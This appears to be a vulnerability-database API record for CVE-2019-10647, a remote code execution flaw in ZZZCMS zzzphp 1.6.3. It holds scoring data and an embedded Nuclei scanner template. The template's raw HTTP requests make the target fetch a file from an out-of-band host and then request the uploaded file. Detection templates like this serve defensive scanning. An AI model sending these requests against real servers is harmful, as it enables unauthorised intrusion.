{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-10647/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-10647/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-10647/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-10647/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-10647/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-10647/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2019-10647"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2019-10647"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.06643,"kev":false,"percentile":0.93876},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2019-10647.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-10647\n\ninfo:\n  name: ZZZCMS ZZZPHP 1.6.3 – Remote PHP Code Execution (RCE)\n  author: Sourabh-Sahu\n  severity: critical\n  description: |\n    ZZZCMS zzzphp v1.6.3 contains a remote code execution caused by lack of restrictions in inc/zzz_file.php, letting attackers execute arbitrary PHP code via a crafted URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter, exploit requires attacker to send malicious URL and server to serve PHP code as plain text.\n  impact: |\n    Attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of ZZZCMS or apply security patches that restrict PHP file handling in inc/zzz_file.php.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-10647\n    - https://github.com/kyrie403/Vuln/blob/master/zzzcms/zzzphp%20v1.6.3%20write%20file%20with%20dangerous%20type.md\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-10647\n    cwe-id: CWE-434\n    epss-score: 0.06643\n    epss-percentile: 0.93894\n    cpe: cpe:2.3:a:zzzcms:zzzphp:1.6.3:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: zzzcms\n    product: zzzphp\n  tags: cve,cve2019,rce,zzzphp,intrusive,file-upload,vuln,zzzcms,oast,oob,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  file: \"{{randstr}}.php\"\n\nhttp:\n  - raw:\n      - |\n        POST /plugins/ueditor/php/controller.php?action=catchimage HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        source[]=http://{{interactsh-url}}/{{file}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains_all(body, \"SUCCESS\",\"state\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: filename\n        regex:\n          - '\"title\":\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /upload/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers:\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100ba7ff2ac344718fe417d44b8f700aa42973b0c3f0cde77e431c85dbb85166ec5022100b7bd791c5216fee5835dabbf2cf5237bef1a1279962070c61e36fbb4920d3ed7:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-10647"}